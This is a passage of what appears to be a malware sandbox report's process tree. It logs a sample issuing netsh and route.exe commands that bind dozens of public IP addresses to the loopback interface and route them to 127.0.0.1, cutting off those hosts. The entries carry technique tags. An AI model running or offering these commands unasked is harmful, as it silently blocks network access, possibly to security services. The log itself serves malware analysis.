      PID:1536
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 123.206.101.228 255.255.255.255
      4⤵
      PID:1932
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4340
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 123.206.101.228
      4⤵
      PID:3292
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 123.206.101.228 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3764
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 124.222.212.191 255.255.255.255
      4⤵
      PID:4036
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 124.222.212.191
      4⤵
      PID:1524
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 124.222.212.191 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3808
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 124.222.67.215 255.255.255.255
      4⤵
      PID:3344
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 124.222.67.215
      4⤵
      PID:3668
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 124.222.67.215 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3460
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 125.77.172.237 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:2740
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 125.77.172.237
      4⤵
      PID:2988
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2384
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 125.77.172.237 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:928
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 137.175.126.218 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:1892
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 137.175.126.218
      4⤵
      PID:820
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 137.175.126.218 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4224
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 144.48.241.246 255.255.255.255
      4⤵
      PID:2484
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 144.48.241.246
      4⤵
      PID:2204
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 144.48.241.246 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4120
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.12.54.134 255.255.255.255
      4⤵
      PID:1772
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 154.12.54.134
      4⤵
      PID:5056
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 154.12.54.134 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4748
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.199.36.208 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:2420
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 154.199.36.208
      4⤵
      PID:4704
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 154.199.36.208 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4168
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.201.71.15 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3036
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3484
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 154.201.71.15
      4⤵
      PID:4480
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 154.201.71.15 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2388
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.36.174.60 255.255.255.255
      4⤵
      PID:4944
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 154.36.174.60
      4⤵
      PID:1616
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 154.36.174.60 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3668
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.11 255.255.255.255
      4⤵
      PID:1488
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.11
      4⤵
      PID:4324
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.11 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1072
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.111 255.255.255.255
      4⤵
      PID:3604
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.111
      4⤵
      PID:3792
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.111 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3496
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.122 255.255.255.255
      4⤵
      PID:3788
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.122
      4⤵
      PID:3556
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.122 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4400
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.123 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3024
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.123
      4⤵
      PID:4392
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.123 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2628
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.150 255.255.255.255
      4⤵
      PID:5004
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.150
      4⤵
      PID:2404
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.150 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1616
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.156 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3244
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.156
      4⤵
      PID:3548
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4736
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.188 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:1956
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.188
      4⤵
      PID:2740
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.188 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4940
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.199 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:2252
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.199
      4⤵
      PID:3044
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.199 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1924
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.22 255.255.255.255
      4⤵
      PID:4812
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.22
      4⤵
      PID:1636
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.22 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:652
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.222 255.255.255.255
      4⤵
      PID:928
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.222
      4⤵
      PID:2204
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.222 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3620
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.233 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:2484
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.233
      4⤵
      PID:5008
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1332
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.233 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:5032
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.234 255.255.255.255
      4⤵
      PID:3244
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.234
      4⤵
      PID:2388
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.234 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3604
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.239 255.255.255.255
      4⤵
      PID:2020
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.239
      4⤵
      PID:4888
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.239 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4748
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.247 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4944
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.247
      4⤵
      PID:2964
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3344
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.55 255.255.255.255
      4⤵
      PID:2628
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.55
      4⤵
      PID:1636
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.55 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4760
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.66 255.255.255.255
      4⤵
      PID:3244
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.66
      4⤵
      PID:3172
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.66 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3604
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.80 255.255.255.255
      4⤵
      PID:2384
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.80
      4⤵
      PID:3792
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4036
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.80 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4280
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.88 255.255.255.255
      4⤵
      PID:3764
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.88
      4⤵
      PID:1536
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.88 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2916
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.97 255.255.255.255
      4⤵
      PID:1584
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.97
      4⤵
      PID:1448
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.97 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1856
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.99 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4324
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 156.239.237.99
      4⤵
      PID:3536
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 156.239.237.99 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2716
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.129.131 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:3172
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1820
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.129.131
      4⤵
      PID:3036
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3044
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.129.131 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2488
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.132.29 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:2576
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.132.29
      4⤵
      PID:1016
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.132.29 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2388
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.137.135 255.255.255.255
      4⤵
      PID:928
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.137.135
      4⤵
      PID:3784
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.137.135 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2628
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.143.161 255.255.255.255
      4⤵
      PID:2740
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.143.161
      4⤵
      PID:4944
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.143.161 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1196
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.143.247 255.255.255.255
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:2988
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.143.247
      4⤵
      PID:1536
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.143.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2484
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.144.154 255.255.255.255
      4⤵
      PID:3344
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.144.154
      4⤵
      PID:1792
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.144.154 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2060
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.144.231 255.255.255.255
      4⤵
      PID:2456
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.144.231
      4⤵
      PID:5056
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.144.231 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4036
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.165.85 255.255.255.255
      4⤵
      PID:4368
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.165.85
      4⤵
      PID:3292
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.165.85 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:948
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.167.213 255.255.255.255
      4⤵
      PID:1536
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.167.213
      4⤵
      PID:4900
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.167.213 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4736
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.177.128 255.255.255.255
      4⤵
      PID:1584
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.177.128
      4⤵
      PID:2844
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.177.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4224
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.182.204 255.255.255.255
      4⤵
      PID:3808
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.182.204
      4⤵
      PID:2060
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.182.204 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4900
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.186.91 255.255.255.255
      4⤵
      PID:4928
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.186.91
      4⤵
      PID:3548
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.186.91 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4504
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2404
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.202.159 255.255.255.255
      4⤵
      PID:4192
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.202.159
      4⤵
      PID:4168
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.202.159 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2104
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.212.166 255.255.255.255
      4⤵
      PID:4248
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.212.166
      4⤵
      PID:1616
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.212.166 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:908
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.214.182 255.255.255.255
      4⤵
      PID:4928
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.214.182
      4⤵
      PID:4940
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2384
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.214.182 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1016
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.214.70 255.255.255.255
      4⤵
      PID:2844
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.214.70
      4⤵
      PID:1540
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.214.70 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1072
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1616
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.215.173 255.255.255.255
      4⤵
      PID:4116
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.215.173
      4⤵
      PID:3788
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.215.173 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1440
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.217.247 255.255.255.255
      4⤵
      PID:4480
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.217.247
      4⤵
      PID:4280
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.217.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4168
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.222.64 255.255.255.255
      4⤵
      PID:1536
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 172.67.222.64
      4⤵
      PID:4836
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 172.67.222.64 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3244
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 175.24.163.232 255.255.255.255
      4⤵
      PID:4900
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 175.24.163.232
      4⤵
      PID:1056
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 175.24.163.232 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4400
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 202.189.23.191 255.255.255.255
      4⤵
      PID:4448
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 202.189.23.191
      4⤵
      PID:1448
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 202.189.23.191 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4520
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 222.167.33.12 255.255.255.255
      4⤵
      PID:2252
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 222.167.33.12
      4⤵
      PID:928
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 222.167.33.12 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4116
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 222.167.34.57 255.255.255.255
      4⤵
      PID:4760
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4504
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 222.167.34.57
      4⤵
      PID:4036
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 222.167.34.57 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1056
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 27.124.41.85 255.255.255.255
      4⤵
      PID:312
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 27.124.41.85
      4⤵
      PID:4224
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 27.124.41.85 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1524
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 36.51.224.123 255.255.255.255
      4⤵
      PID:2420
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 36.51.224.123
      4⤵
      PID:4940
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 36.51.224.123 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3244
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 36.51.224.126 255.255.255.255
      4⤵
      PID:1084
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 36.51.224.126
      4⤵
      PID:2868
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 36.51.224.126 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4728
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.33.5.156 255.255.255.255
      4⤵
      PID:1584
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.33.5.156
      4⤵
      PID:1488
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.33.5.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2420
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.76.195.127 255.255.255.255
      4⤵
      PID:908
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.76.195.127
      4⤵
      PID:3648
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.76.195.127 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4560
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.155 255.255.255.255
      4⤵
      PID:652
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.97.254.155
      4⤵
      PID:4392
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.97.254.155 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4760
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.162 255.255.255.255
      4⤵
      PID:1340
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.97.254.162
      4⤵
      PID:4928
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.97.254.162 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3604
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.167 255.255.255.255
      4⤵
      PID:1192
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.97.254.167
      4⤵
      PID:948
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.97.254.167 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3620
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.168 255.255.255.255
      4⤵
      PID:4480
  - - C:\Windows\SYSTEM32\route.exe
